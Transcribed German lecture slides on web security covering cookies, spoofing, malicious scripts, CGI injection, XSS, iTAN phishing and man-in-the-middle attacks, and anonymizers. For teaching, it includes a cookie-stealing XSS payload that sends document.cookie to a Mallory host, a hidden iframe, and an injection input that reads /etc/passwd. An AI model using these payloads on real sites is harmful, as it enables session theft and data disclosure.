ITS-10.2
Transcrição
ITS-10.2
10.2 World-Wide Web ist die leistungsfähigste, populärste, unsicherste Netzanwendung Warum? Schwachstellen in Server- oder Browser-Code, eingebetteter Code in Webseiten, Cookies, ungesicherte TCP-Verbindungen (sofern nicht https) unachtsame Benutzer ITS-10.2 1 Typische Angriffsszenarien: feindliche Anbieter greifen den Benutzer an (mit Kenntnis von Browser und Betriebssystem, die sie aus dem HTTP Header entnehmen) feindliche Benutzer greifen den Anbieter an (mit entsprechender Kenntnis) Dritte greifen über den Anbieter den Benutzer an Dritte greifen die Anbieter-Benutzer-Beziehung an ... und kompliziertere ITS-10.2 2 10.2.1 Cookies ("Kekse") Das HTTP-Protokoll erlaubt dem Server, kleine Informationspakete - Cookies - an den Browser zu schicken (der sie in einer Datei speichert) und später wieder abzurufen. ! Der Benutzer merkt davon nichts ! (Aber konfigurierbar z.B. bei Firefox.) Wozu? Server kann über Cookies einen Zusammenhang zwischen verschiedenen Verbindungen herstellen. (Das gelingt sonst nicht, weil HTTP keine zustandsbehafteten "Sitzungen" kennt.) Anwendungen: - personalisierter Web-Auftritt des Servers - elektronischer Warenkorb - u.a. ITS-10.2 3 Empfehlung: alle Cookies löschen, dann einige Webseiten besuchen und nachsehen, wer Cookies setzt. ITS-10.2 4 Gefahr des Missbrauchs: Server kann systematisch Benutzerprofile erstellen (Dossiers) und eventuell sogar konkreten Personen zuordnen (wie beim elektronischen Einkauf) - z.B. für Werbung ... oder auch für weniger harmlose Zwecke. Gefahrenabwehr: Cookies nicht akzeptieren (oft nicht realistisch!) Cookies öfter löschen anonymes Web Surfing (10.2.6) ITS-10.2 5 10.2.2 Web Spoofing Zur Erinnerung: Auf einer Webseite findet man Anklicken führt zu http://www.47ll.com Achtung: das ist keine authentische Seite für das bekannte Echt Kölnisch Wasser, denn in 47ll ist "l" nicht die Ziffer "eins", sondern der Buchstabe "el". Verteidigung: Inhalt der Statuszeile und dann Inhalt der Adresszeile sorgfältig beachten! Weitere Tricks zum Anlocken auf Schadseiten: E-mail, Suchdienste, Mundpropaganda, typo-squatting ITS-10.2 6 Variationen über dieses Thema: http://www.cnn.com:[email protected]/~sws/0/ Aber: Ich gehe zu www.bahn.org und lande auf professioneller Bahn-Seite mit - echt oder getürkt ?? Übung: Weitere Tricks ausdenken! ITS-10.2 7 Probleme: Die URL sagt wenig aus über die tatsächliche Organisation bzw. Person, die hinter einer Webseite steht. Eine betrügerische Seite kann die Anzeige von URLs durch client-side scripting manipulieren, und zwar sowohl in der Statuszeile (mouse-over) als auch in der Adresszeile! Transitives Web-Spoofing: Eine betrügerische Startseite auf www.attract.org, die diverse attraktive Verweise auf andere Seiten enthält, wird so eingerichtet, dass allen diesen "normalen URLs" die URL www.attract.org vorangestellt wird. Alle vom Benutzer angefragten Seiten laufen durch www.attract.org und werden entsprechend manipuliert! Der gesamte Web-Verkehr des Benutzers ist damit abhorchbar und manipulierbar - bis eine neue URL eingegeben wird! ITS-10.2 8 Web Spoofing wird bekämpft mit https (Port 443) = http über SSL (3.3.1) Web Server wird über SSL authentisiert: er übermittelt beim Handshake sein Zertifikat (und verwendet beim Handshake seinen privaten Schlüssel!). Zertifikat enthält hinreichend überzeugende Bezeichnung der verantwortlichen Organisation/Person! Inhalt des Zertifikats kann auf Wunsch des Benutzers vom Browser angezeigt werden! Authentizität hängt an der Echtheit des Zertifikats: es muss von einer Instanz signiert sein, die der Browser kennt (öffentlicher Schlüssel!) und der er vertraut; aber der Browser ist kein Mensch ....... ? ITS-10.2 9 Browser wird vom Menschen entsprechend konfiguriert: wird mit den korrekten öffentlichen Schlüsseln einiger Zertifizierungsinstanzen (CAs) ausgeliefert kann jederzeit umkonfiguriert werden ITS-10.2 10 ITS-10.2 11 ITS-10.2 https mit Safari 12 ITS-10.2 13 Aber: betrügerische Seite kann mittels Scripting so gestaltet werden, dass beim Klicken auf ein "https"-Link eine SSL-Verbindung zum erwarteten Anbieter nur vorgegaukelt wird: in Wahrheit existiert eine (ungeschützte) Verbindung zum Betrüger ! In der Adresszeile wird die erwartete URL https://... angezeigt; ferner wird das Schloss-Symbol angezeigt. Und wenn der Benutzer das Zertifikat sehen will, wird das erwartete Zertifikat angezeigt! Gegenmaßnahme: JavaScript abschalten (oft nicht realistisch!) Details: http://www.cs.dartmouth.edu/~pkilab/demos/spoofing/ ITS-10.2 14 Achtung Selbst bei optimaler Verteidigung bleibt die Server-Authentizität eine Schwachstelle ! Ursachen Browser defekt/falsch konfiguriert Manipulation durch heruntergeladenen Code Unachtsamkeit/Unwissen des Benutzers ITS-10.2 15 10.2.3 Schadsoftware in Webseiten Eingebetteter Skript-Code (Javascript, VBScript, ...) ist potentiell trojanisch (client-side scripting) nachgeladener mobiler Code (Applets, ActiveX Controls) ist potentiell trojanisch transitiv: Seite enthält Direktiven zum Nachladen schädlicher Seiten Üblicher Schutz gegen trojanischen Code: ITS-10.2 Sandbox Browser-Einstellungen für Differenzierung nach Herkunft benutzerbestimmter differenzierter Zugriffsschutz (4.5.6) 16 10.2.3.1 Beispiel mit Javascript HTML-Element FORM mit Attribut action für Server CGI: <HTML> <TITLE>Great Site!</TITLE> <FORM action="http://greatsite.com/query.cgi"> <LABEL for=”db">Database: </LABEL> <INPUT type="text" id=”db"><BR> <LABEL for=”film">Key: </LABEL> <INPUT type="text" id=”film"><BR> <INPUT type="submit"> <INPUT type="reset"> </FORM </HTML> ITS-10.2 17 Mallory kann auch andere action vorsehen: <HTML> <TITLE>Great Site!</TITLE> <FORM action=”mailto:[email protected]"> <LABEL for=”db">Database: </LABEL> <INPUT type="text" id=”db"><BR> <LABEL for=”film">Key: </LABEL> <INPUT type="text" id=”film"><BR> <INPUT type="submit"> <INPUT type="reset"> </FORM </HTML> Damit erhält Mallory (über die Absenderadresse) die Netzidentität des Absenders - etwa Alice. ITS-10.2 18 Fähigkeiten von eingebettetem Skript-Code, z.B. Javascript: normale Skript-Programmierung (objektbasiert) über vordefinierte Objekte und Operationen Zugriff auf alle Elemente des Browser-Fensters (lesend und ändernd!) Jeder submit-Taste entspricht ein submit object mit Operation click() , die das gleiche bewirkt wie das Drücken der Taste: <SCRIPT type=“text/javascript”> . . . document.forms[i].elements[k].click(); . . . </SCRIPT> Damit kann die zugehörige action ohne explizite Aktion von Alice ausgelöst werden. ITS-10.2 19 Damit erfährt Mallory zunächst nur die Identität von Alice. Kombination mit Angriff über ein Applet möglich: Applet kann Gegenwart anderer Applets in Erfahrung bringen (über Threads/Threadgroups), schickt gefundene Applet-Namen über UDP an Mallory, der mit einem Suchdienst die Seiten dieser Applets und damit das Verhalten von Alice erfahren kann. ITS-10.2 20 10.2.3.2 Beispiel mit iframe Das HTML-Element iframe (inline frame) in einer Webseite erlaubt die Einbettung einer anderen Seite: <html><body> <iframe src ="http://page.mi.fu-berlin.de/~lohr” width=400 height=300> </iframe><br> <br> Some older browsers do not support iframes.<br> If they don't, the iframe will not be visible. </body></html> ITS-10.2 21 Mallory bietet Bob eine solche Seite an, aber mit <iframe src ="http://dark.org/mallory” width=0 height=0> Diese Seite ist nicht sichtbar - aber ihr Skriptcode wird ausgeführt. Bemerkung: Diese Technik wird von der Schadsoftware Mpack (russischen Ursprungs) ausgenutzt, siehe http://www.symantec.com/enterprise/security_response/weblog/2007/05/ mpack_packed_full_of_badness.html ITS-10.2 22 10.2.4 Angriffe auf Webserver Serverseitiger Skriptcode: CGI Der Browser schickt ein URL .../xyz.cgi, die ein CGI-Skript identifiziert -> das Skript wird ausgeführt und schickt i.d.R. eine dynamisch zusammengestellte Seite zurück. (analog arbeiten servlets, PHP, ASP.NET) Dieser Vorgang kann von Eingabewerten abhängig gemacht werden, die der Nachricht des Browsers beigefügt sind: .../query.cgi?db=movies&film=casablanca ITS-10.2 23 Eine derartige Nachricht des Browsers an den Server kann ausgelöst werden, indem nach Ausfüllen einer Formularseite die submit-Taste gedrückt wird (10.2.3.1): <HTML> <TITLE>Great Site!</TITLE> <FORM action="http://greatsite.com/query.cgi"> <LABEL for=”db">Database: </LABEL> <INPUT type="text" id=”db"><BR> <LABEL for=”film">Key: </LABEL> <INPUT type="text" id=”film"><BR> <INPUT type="submit"> <INPUT type="reset"> </FORM </HTML> ITS-10.2 24 Angriff: Eingabe fabrizieren, der den Skript-Code anders Arbeiten lässt als geplant. Dies „ruft Mail ab“: www.site.com/[email protected] #!/usr/bin/perl print "Content-Type: text/html \n\n"; $MAILTO = $ENV{'QUERY_STRING'}; $MAILTO =~s/\+/ /g; print "<html><head><title>Mailing</title></head>"; print "<body>mail sent alright.</body></html>"; open (MAIL, " | /usr/bin/mail $MAILTO"); close MAIL; Mallory ruft auf: [email protected]+</etc/passwd nimmt die Eingabe aus passwd statt aus Standardeingabe! (vgl. mit Pufferüberlauf und SQL injection) ITS-10.2 25 10.2.5 Cross-Site Scripting (Akronym CSS oder XSS) Einfaches CGI-Skript, aktiviert mit http://www.bob.com/welcome.cgi?name=Alice liefert <HTML> <TITLE>Welcome!</TITLE> Hello Alice <BR> Welcome to our system etc... <HTML> ITS-10.2 26 <HTML> <TITLE>Welcome!</TITLE> Hello <SCRIPT>var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring( pos,document.URL.length)); </SCRIPT><BR> Welcome to our system etc... </HTML> ITS-10.2 27 Mallory‘s Webseite enthält Link <a href=“http://www.bob.com/ welcome.cgi?name=<SCRIPT>alert(document.cookie)</SCRIPT>“> Click here! </a> Wenn Alice klickt, erhält sie <HTML> <TITLE>Welcome!</TITLE> Hello <SCRIPT>alert(document.cookie)</SCRIPT> <BR> Welcome to our system etc... <HTML> Was ist passiert? Mallory hat Alice über Bob seltsamen Code untergeschoben, der auch gleich ausgeführt wird. (auch „HTML injection“ genannt - vgl. SQL injection) ITS-10.2 28 ... mit bösartigem Code: <HTML> <TITLE>Welcome!</TITLE> Hello <SCRIPT> window.open(“http://www.mallory.com/ collect.cgi?cookie=“+document.cookie) </SCRIPT> <BR> Welcome to our system etc... <HTML> Hier sammelt Mallory die Cookies von Alice, die sich auf Bob beziehen. Damit kann Mallory sich gegenüber Bob als Alice ausgeben! ITS-10.2 29 10.2.6 Fallstudie: Online Banking Sicherung der Verbindung zum Bank-Server: SSL/TLS Server-Authentisierung: Zertifikat/privater Schlüssel Klienten-Authentisierung: Passwort, z.B. 5-stellige PIN Zusätzliche Sicherung der einzelnen Transaktion durch Einmal-Passwort, z.B. 6-stellige TAN aus einer zuvor mit der Bank vereinbarten Liste von TANs Verbleibende Gefahren: phishing durch Web Spoofing, Trojanische Browser (und natürlich: die papierenen TAN-Listen stehlen) Reaktion der Banken: 2005 Umstellung auf iTAN („indizierte TAN“) ITS-10.2 30 iTAN: Die TANs sind durchnumeriert. Der Server verlangt nicht irgendeine TAN, sondern eine iTAN mit einer - zufällig gewählten - Nummer. Begründung: „Eine durch phishing erlangte TAN kann vom Angreifer selbst genutzt werden. Das ist mit einer iTAN nicht mehr möglich. Damit ist die bisherige Schwachstelle geschlossen, und das Online Banking ist wirklich sicher.“ ? ITS-10.2 31 10.2.6.1 iTAN versus TAN Mittels phishing z.B. über http://www.p0stbank.de kann der Angreifer nach wie vor die PIN und mit ein wenig Geschick auch numerierte iTANs in Erfahrung bringen. Wenn er (ziemlich viel) Glück hat, wird er nach Kontaktaufnahme mit https://www.postbank.de und Eingabe von Kontonummer und PIN nach einer iTAN gefragt, die er in Erfahrung gebracht hat. Das scheint den Schluss zuzulassen, dass die iTANs zwar immer noch nicht vollständig sicher, aber immerhin bedeutend sicherer als die TANs sind. ? ITS-10.2 (URLs vereinfacht) 32 10.2.6.2 Enter man-in-the-middle Der Angreifer hat „offline“ operiert, d.h. Daten zunächst über http://www.p0stbank.de abgefangen und später über https://www.postbank.de eingesetzt. Er kann aber auch „online“ als man-in-the-middle operieren: wenn der Bankkunde ihn über http://www.p0stbank.de anspricht, spricht der Angreifer die Bank über https://www.postbank.de an. Er tritt also der Bank gegenüber als Kunde - und dem Kunden gegenüber als Bank auf. Jeglicher Verkehr einschließlich der iTAN-Authentisierung läuft über ihn - unbemerkt von den anderen Teilnehmern. An dieser Angriffsmöglichkeit durch Maskerade ändert der Übergang von TAN zu iTAN natürlich gar nichts. ITS-10.2 33 Kunde Angreifer http://www.p0stbank.de Konto#, PIN Konto#, PIN ok Überweisung ok (wenn Daten ok) gefälscht iTAN# iTAN Bank https://www.postbank.de iTAN# iTAN ok ITS-10.2 ok (wenn iTAN ok) 34 10.2.6.3 Was sagt die Bank? In letzter Zeit gibt es immer wieder Versuche von Betrügern, an die PIN und TANs von Online-Banking-Kunden zu gelangen. Durch sogenannte Phishingund Pharming-Attacken wird versucht an sensiblen Kundendaten zu gelangen. Hat ein Betrüger die PIN und TAN eines Kunden erschlichen, kann er damit eine Überweisung ausführen und so Geld in betrügerischer Absicht auf sein eigenes Konto überweisen. iTAN - die sichere Liste Um diesen Betrugsversuchen entgegen zu wirken haben wir die Sicherheit Der TAN weiter erhöht. So gibt es heute bei der Postbank die indizierten TAN, kurz iTAN: Sie als Kunde legitimieren hier Ihren Auftrag nicht mehr mit einer beliebigen TAN aus Ihrer Liste, sondern werden von uns aufgefordert, eine bestimmte, durch eine Positionsnummer (Index) gekennzeichnete TAN aus Ihrer extra zu diesem Zweck durchnummerierten Liste einzugeben. Dadurch ist ein zeitlich unabhängiges Erschleichen einer TAN für einen Betrüger ohne Wert. ITS-10.2 35 10.2.6.3 Was sagt die Bank? In letzter Zeit gibt es immer wieder Versuche von Betrügern, an die PIN und TANs von Online-Banking-Kunden zu gelangen. Durch sogenannte Phishingund Pharming-Attacken wird versucht an sensiblen Kundendaten zu gelangen. Hat ein Betrüger die PIN und TAN eines Kunden erschlichen, kann er damit eine Überweisung ausführen und so Geld in betrügerischer Absicht auf sein eigenes Konto überweisen. iTAN - die sichere Liste Um diesen Betrugsversuchen entgegen zu wirken haben wir die Sicherheit Der TAN weiter erhöht. So gibt es heute bei der Postbank die indizierten TAN, kurz iTAN: Sie als Kunde legitimieren hier Ihren Auftrag nicht mehr mit einer beliebigen TAN aus Ihrer Liste, sondern werden von uns aufgefordert, eine bestimmte, durch eine Positionsnummer (Index) gekennzeichnete TAN aus Ihrer extra zu diesem Zweck durchnummerierten Liste einzugeben. Dadurch ist ein zeitlich unabhängiges Erschleichen einer TAN für einen Betrüger ohne Wert. ? und das „zeitlich abhängige“ Erschleichen ? ITS-10.2 36 ... und unter Berücksichtigung nichttechnischer Aspekte: Es wird zwar auf die Bedeutung von „https“ hingewiesen. Es wird aber nicht explizit gesagt, dass die iTAN ohne eine SSL-Verbindung zwischen Kunde und Bank witzlos ist (und dass sie mit SSL keine Verbesserung gegenüber der TAN bringt). Die Kunden werden in falscher Sicherheit gewiegt. Dadurch ist die Situation de facto unsicherer als vorher. Sie wird zusätzlich unsicherer durch folgenden Sachverhalt: Beim TAN-Verfahren konnte man sich eine TAN merken (oder einige TANs notieren), um auch ohne vollständige Liste - die immerhin sehr sensibel ist - arbeiten zu können. Bei der iTAN muss die vollständige Liste stets zur Hand sein. ITS-10.2 37 Zur Erinnerung - der Angreifer kann noch raffinierter vorgehen: https://www.p0stbank.de beruhigt den auf https achtenden Kunden, behindert aber nicht den Angriff es sei denn, der Kunde prüft sachkundig das Zertifikat (und nicht einmal das bringt hundertprozentige Sicherheit, siehe 10.2.2): DNS Spoofing für www.postbank.de hat den gleichen Effekt wie Web Spoofing - und bleibt völlig unbemerkt! ITS-10.2 38 Was tun? Wenn man Spoofing nicht ausschließen kann: muss der Kunde sich so authentisieren, dass ein Angreifer mit den Credentials nichts anfangen kann! SSL/TLS session-aware user authentication Artikel der Woche: R. Oppliger, R. Hauser, D. Basin: SSL/TLS session-aware user authentication - or how to effectively thwart the man-in-the-middle. Computer Communications 29.12, August 2006 http://www.inf.ethz.ch/personal/basin/pubs/mitm-cc.pdf ITS-10.2 39 nicht ganz (aber “more safely” ;-) ITS-10.2 40 10.2.7 Anonymisierer ! Wer sich ins Netz begibt, wird dort gesehen. ! Benutzer hinterlässt Spuren seiner Aktivität im Netz sowohl auf eigenem Rechner (z.B. Web Cookies) als auch auf anderen: sowohl im Server als auch in Zwischenstationen können Nutzdaten, Verbindungsdaten (IP-Adresse) und eventuell Namen gesammelt werden. wünschenswert: Anonymität im Netz ITS-10.2 41 Vorbemerkungen: Empfänger/Sender-Anonymität bei Beobachtung durch einen Dritten: Empfänger-Anonymität: kann A eine Nachricht an B schicken, ohne dass ein Dritter den Empfänger B erkennen kann ? Ja, mit Rundsendung vom System A, z.B. im Ethernet, die mit dem öffentlichen Schlüssel von System B verschlüsselt ist! Sender-Anonymität: kann A eine Nachricht an B schicken, so dass zwar B den Absender A erkennen kann, nicht aber ein Dritter ? Ja, indem die Nachricht mit dem Absender versehen wird und das Ganze mit dem öffentlichen Schlüssel des Empfängers B verschlüsselt wird! (evtl. mit IP Spoofing) (Aber: sind anonyme Briefe gut oder schlecht?) ITS-10.2 42 MIX [Chaum 1981]: Ein Rechner, der als Anonymisierer zwischen Sendern und Empfängern von Nachrichten sitzt (vereinfacht): Sender MIX Empfänger e EM[x,e] (x,e) = DM[EM[x,e] (y,..) = DM[EM[y,..] (z,..) = DM[EM[z,..] ..... x Der MIX sammelt einige eintreffenden Nachrichten, entschlüsselt sie, rearrangiert sie und sendet sie an die jeweiligen Empfänger weiter. ITS-10.2 43 Effekt des MIXing: Das Ausspionieren von EM[x,e] durch einen Dritten erlaubt keinen Rückschluss auf den endgültigen Empfänger e. Das Analysieren von x - durch Empfänger oder Dritten erlaubt keinen Rückschluss auf den ursprünglichen Sender.* Zwischen EM[x,e] und x besteht keine erkennbare Beziehung**: ein beobachtender Dritter kann nur feststellen, dass die Sender Nachrichten abschicken und dass die Empfänger Nachrichten erhalten - mehr nicht! Sender- und Empfänger-Anonymität! Aber: der MIX ist ein man-in-the-middle - vertrauenswürdig ? ITS-10.2 * es sei denn über den Inhalt der Nachricht ** außer über die Länge der Nachricht 44 MIX-Kaskade, z.B. bestehend aus 3 MIXen A, B, C, die von verschiedenen Organisationen betrieben werden: Sender schickt EA[EB[EC[x,e]]] an A. A dechiffriert und schickt EB[EC[x,e]] an B. B dechiffriert und schickt EC[x,e] an C. C dechiffriert und schickt x an e. . . . anwendbar z.B. für E-mail und Web. ITS-10.2 45 Umsetzung für das World-Wide Web: Dienst AN.ON mit Klient JAP [Pfitzmann u.a. 1998-2003] (Java Anonymity Proxy) Sender/Empfänger : IP-Adressen ITS-10.2 permanent, gemultiplext für (virtuelle) Benutzerverbindungen - “Mix-Kanäle” 46 Hybride Verschlüsselung (EM[K], EK[x,e]) anstelle von EM[x,e] (RSA und AES mit OFB), jedoch nur für Verbindungsaufbau eines Mix-Kanals. Nutzdaten werden auf Blöcke einheitlicher Größe aufgeteilt und nur symmetrisch verschlüsselt. In diesem Bereich sind die Daten JAP-verschlüsselt Achtung Cookies: werden von JAP nicht gefiltert! Achtung aktive Webseiten: können dem Server die IP schicken! ITS-10.2 http://anon.inf.tu-dresden.de/ mit Dokumentation https://www.jondos.de/de/ 47